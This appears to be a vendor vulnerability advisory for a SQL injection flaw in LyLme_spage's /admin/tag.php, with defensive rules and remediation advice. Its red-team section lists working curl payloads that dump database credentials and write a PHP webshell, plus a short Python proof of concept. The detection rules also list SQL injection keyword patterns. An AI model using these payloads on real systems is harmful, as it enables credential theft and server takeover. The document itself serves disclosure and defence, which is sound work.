CVE-2024-9788
Executive Summary
CVE-2024-9788 is a critical SQL injection vulnerability discovered in LyLme_spage version 1.9.5. The flaw resides in the /admin/tag.php file, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some cases, remote code execution if the database server has sufficient privileges. The vendor was contacted but did not respond, and no official patch is available at this time. The exploit has been publicly disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, users should verify the integrity of their LyLme_spage installation and consider any third-party plugins or themes that may be included.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full database read access is possible.
- Integrity Impact: High (I:H) – Data can be modified or deleted.
- Availability Impact: High (A:H) – Database can be disrupted or destroyed.
Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and high impact makes this a severe threat.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the id parameter of the /admin/tag.php endpoint. The application likely constructs a SQL query similar to:
SELECT * FROM tags WHERE id = $_GET['id'];
Without proper sanitization or parameterized queries, an attacker can inject SQL commands by providing a malicious value for id. For example:
1 UNION SELECT username, password FROM users
This would return the contents of the users table alongside the legitimate tag data. The attack can be performed using simple HTTP GET requests, making it trivial to automate.
The exploit has been publicly disclosed, meaning that proof-of-concept code is available. This lowers the barrier for attackers and increases the likelihood of widespread scanning and exploitation.
Vulnerable vs. Patched Code
Vulnerable Code (LyLme_spage 1.9.5):
// /admin/tag.php
$id = $_GET['id'];
$query = "SELECT * FROM tags WHERE id = $id";
$result = mysqli_query($conn, $query);
Patched Code (Hypothetical):
// /admin/tag.php
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM tags WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
The patched version uses parameterized queries (prepared statements) to ensure that user input is treated as data, not executable code. Alternatively, input validation (e.g., intval()) can be used if the parameter is expected to be an integer.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running LyLme_spage 1.9.5.
- Network access to the
/admin/tag.phpendpoint.
Exploitation Steps:
Identify the vulnerable endpoint:
curl -v "http://target.com/admin/tag.php?id=1"Test for SQL injection:
curl "http://target.com/admin/tag.php?id=1'"If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.
Extract database information:
# Get database version curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,@@version,3,4-- -" # Get table names curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -" # Get column names from users table curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -" # Dump user credentials curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- -"Attempt to gain a shell (if database user has FILE privilege):
# Write a webshell curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,'<?php system($_GET[\"cmd\"]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php'-- -"
Proof-of-Concept Script (Python):
import requests
target = "http://target.com/admin/tag.php"
payload = "1 UNION SELECT 1,@@version,3,4-- -"
r = requests.get(target, params={"id": payload})
print(r.text)
Blue Team (Defense & Detection)
Immediate Actions:
- Isolate the application: If possible, take the
/admin/tag.phpendpoint offline or restrict access to trusted IPs only. - Apply a WAF rule: Block requests containing SQL injection patterns (e.g.,
UNION,SELECT,--). - Monitor logs: Look for unusual GET requests to
/admin/tag.phpwith suspicious parameters.
Detection Rules:
Web Application Firewall (ModSecurity) Rule:
SecRule ARGS:id "@rx (union|select|insert|drop|delete|--)" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Attempt'"Log Analysis (Splunk/ELK):
index=web_logs uri="/admin/tag.php" | search id=* | regex id="(union|select|--|')"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/admin/tag.phpwithidparameter containing SQL keywords (e.g.,UNION,SELECT,--). - Outbound database connections from the web server to unexpected IPs (data exfiltration).
- Unusual files written to the web root (e.g.,
shell.php,cmd.php).
- HTTP GET requests to
File System IOCs:
- Presence of webshells in the web directory.
- Modified or new files in
/admin/directory. - Unexpected database dump files.
Database IOCs:
- Unauthorized queries to
information_schema. - New user accounts or modified privileges.
- Large data exports.
- Unauthorized queries to
Detection Engineering
YARA Rule
rule CVE_2024_9788_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-9788 in LyLme_spage"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9788"
strings:
$sqli1 = "union" nocase
$sqli2 = "select" nocase
$sqli3 = "from" nocase
$sqli4 = "information_schema" nocase
$sqli5 = "--" nocase
$sqli6 = "/*" nocase
$sqli7 = "1=1" nocase
$sqli8 = "1=2" nocase
$sqli9 = "or 1=1" nocase
$sqli10 = "or 1=2" nocase
$sqli11 = "admin/tag.php" nocase
condition:
any of ($sqli*) and $sqli11
}
Sigma Rule
title: SQL Injection Attempt Against LyLme_spage /admin/tag.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-9788
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9788
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'id='
- 'union'
- 'select'
- 'from'
- 'information_schema'
- '--'
- '/*'
- '1=1'
- '1=2'
- 'or 1=1'
- 'or 1=2'
cs-uri-stem|contains: '/admin/tag.php'
condition: selection
falsepositives:
- Legitimate use of the word "union" in a tag name (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9788 SQL Injection Attempt"; flow:to_server,established; content:"/admin/tag.php"; http_uri; content:"id="; http_uri; pcre:"/(union|select|from|information_schema|--|\/\*|1=1|1=2|or 1=1|or 1=2)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation (No Patch Available):
- Disable the vulnerable endpoint: Remove or rename
/admin/tag.phpif not essential. - Restrict access: Use
.htaccessor firewall rules to allow only trusted IPs to access/admin/directory. - Input validation: Implement server-side validation to ensure the
idparameter is an integer. - Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns.
- Database hardening: Ensure the database user used by the application has minimal privileges (e.g., no
FILEprivilege).
Long-Term Remediation:
- Apply parameterized queries: Rewrite the vulnerable code to use prepared statements.
- Update LyLme_spage: Monitor the vendor's website for an official patch.
- Conduct a security audit: Review the entire codebase for similar vulnerabilities.
- Implement a Content Security Policy (CSP): Mitigate the impact of potential XSS attacks.
Valters IT